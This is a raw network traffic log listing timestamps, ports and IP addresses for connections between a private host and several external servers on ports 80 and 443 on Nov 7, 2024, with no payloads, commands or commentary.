Nov 7, 2024 17:25:48.784318924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.794888973 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.794945955 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.794994116 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.795020103 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.795020103 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.795119047 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.796932936 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.796946049 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.817307949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817327976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817338943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817374945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817394018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817401886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.817401886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.817404985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817418098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817464113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.817464113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.817507982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817519903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817531109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817543030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817560911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817574024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.817593098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.817608118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.817608118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.990169048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.997021914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.085773945 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.100574017 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.100596905 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.101538897 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.101617098 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.102953911 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.102996111 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.103997946 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.104166985 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.104176998 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.124489069 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.125041008 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.125056982 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.125535965 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.125541925 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.126188993 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.126585007 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.126605034 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.127064943 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.127072096 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.153613091 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.191982031 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.192821026 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.192847967 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.193181038 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.193186998 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.225429058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225662947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225676060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225697041 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225717068 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225737095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225748062 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225749969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225764036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225763083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225779057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225790977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225792885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225805044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225833893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225837946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225837946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225847960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225860119 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225861073 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225872040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225883007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225883007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225883007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225897074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225908995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225910902 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.225924015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.225935936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.226089954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.245424032 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.248886108 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.248935938 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.249084949 CET	443	50005	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.249114990 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.249171972 CET	50005	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.257504940 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.257596970 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.257728100 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.259706020 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.259742975 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.259785891 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.259815931 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.259845972 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.260375977 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.260375977 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.260401011 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.260413885 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.262861967 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.262861967 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.262872934 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.262885094 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.269484997 CET	50011	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.269514084 CET	443	50011	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.271302938 CET	50011	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.271766901 CET	50011	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.271785975 CET	443	50011	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.273222923 CET	50012	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.273242950 CET	443	50012	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.273652077 CET	50012	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.275273085 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.276248932 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.276261091 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.277272940 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.277342081 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.278681993 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.278750896 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.279136896 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.279136896 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.279148102 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.279180050 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:49.283006907 CET	50012	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.283025980 CET	443	50012	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.322881937 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:49.324311018 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.324856997 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:49.324884892 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.325265884 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.326262951 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:49.326332092 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.326432943 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:49.331636906 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.331708908 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.335422993 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.335422993 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.337109089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337122917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337141037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337143898 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.337158918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337169886 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.337172031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337182045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337199926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337207079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337224007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337246895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337248087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337265968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337289095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337306023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337325096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337335110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337343931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337351084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337354898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337368011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337368011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337379932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337431908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337431908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337549925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337603092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337613106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337624073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337645054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337687969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337687969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337718964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337740898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337769032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337780952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337807894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337856054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337867022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337878942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337879896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337897062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337914944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337923050 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337927103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337935925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337939024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337954044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337963104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337965965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.337977886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337977886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.337985039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338018894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.338020086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338032961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338042974 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.338100910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.338104963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338115931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338126898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338152885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.338263988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.338454008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338634014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.338972092 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.340440035 CET	50013	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.340468884 CET	443	50013	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.340573072 CET	50013	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.342953920 CET	50013	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:49.342968941 CET	443	50013	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:49.371134043 CET	50010	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:49.371146917 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.448976994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.448996067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449006081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449017048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449028015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449039936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449047089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449090004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449157000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449209929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449284077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449310064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449378967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449395895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449431896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449445963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449455976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449460030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449486017 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449543953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449570894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449572086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449584007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449604034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449608088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449621916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449630022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449672937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449672937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449693918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449707031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449743986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449748039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449748039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449754953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449780941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449781895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449795961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449847937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449848890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449848890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449861050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449902058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449902058 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.449909925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449923038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.449944973 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450043917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450057030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450068951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450079918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450151920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450162888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450181007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450227022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450239897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450249910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450289965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450308084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450316906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450452089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450453997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450473070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450484991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450548887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450560093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450571060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450577974 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450582981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450603962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450639009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450653076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450654984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450654984 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450665951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450675964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450697899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450757027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450784922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450797081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450807095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450818062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450829029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450839996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450850964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450850010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450864077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.450891018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450891018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.450979948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451236963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451253891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451266050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451296091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451308966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451327085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451330900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451355934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451405048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451416969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451426983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451433897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451438904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451451063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451455116 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451477051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451484919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.451527119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451527119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.451865911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.452369928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.452492952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.452506065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.452517986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.452570915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.452570915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.452748060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.452760935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.452770948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:49.452831030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.452831030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:49.478904963 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.503870010 CET	443	50010	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:49.504098892 CET	50010	443	192.168.2.6	20.125.209.212
